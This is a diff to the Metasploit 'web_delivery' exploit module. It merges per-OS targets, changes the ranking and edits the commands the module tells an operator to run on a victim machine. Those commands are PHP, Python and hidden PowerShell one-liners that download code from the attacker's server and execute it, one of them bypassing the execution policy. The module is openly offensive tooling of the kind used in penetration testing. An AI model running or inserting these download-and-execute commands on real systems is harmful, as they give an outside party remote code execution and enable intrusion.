Updates

Updated spacing, ranking, php command, platform, and merged *nix and
windows cmds

modules/exploits/multi/script/web_delivery.rb

@@ -6,7 +6,7 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
-  Rank = NormalRanking
+  Rank = ManualRanking
 
   include Msf::Exploit::Remote::HttpServer
 
@@ -40,22 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
           [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
           [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
         ],
-      'Platform'       => %w{ py php win},
+      'Platform'       => %w{ python php win},
       'Targets'        =>
         [
-          ['Python_win', {
+          ['Python', {
             'Platform' => 'py',
             'Arch' => ARCH_PYTHON
           }],
-          ['Python_linux', {
-            'Platform' => 'py',
-            'Arch' => ARCH_PYTHON
-          }],
-          ['PHP_win', {
-            'Platform' => 'php',
-            'Arch' => ARCH_PHP
-          }],
-          ['PHP_linux', {
+          ['PHP', {
             'Platform' => 'php',
             'Arch' => ARCH_PHP
           }],
@@ -69,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
           }],
         ],
       'DefaultTarget'  => 0,
-      'DisclosureDate' => 'N/A'
+      'DisclosureDate' => 'Jul 19 2013'
        ))
       end
 
@@ -87,18 +79,13 @@ class Metasploit3 < Msf::Exploit::Remote
     url = get_uri()
     print_status("Run the following command on the target machine:")
     case target.name 
-    when "PHP_linux"
-        print_line("php -r \"eval(file_get_contents('#{url}'));\"")
-    when "PHP_win"    
-        print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
-    when "Python_linux"
+    when "PHP"
+      print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
+    when "Python"
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-    when "Python_win"    
-        print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-    when "PSH"
+    when "PSH_x86", "PSH_x64"
       download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
       print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
     end
   end
  end
-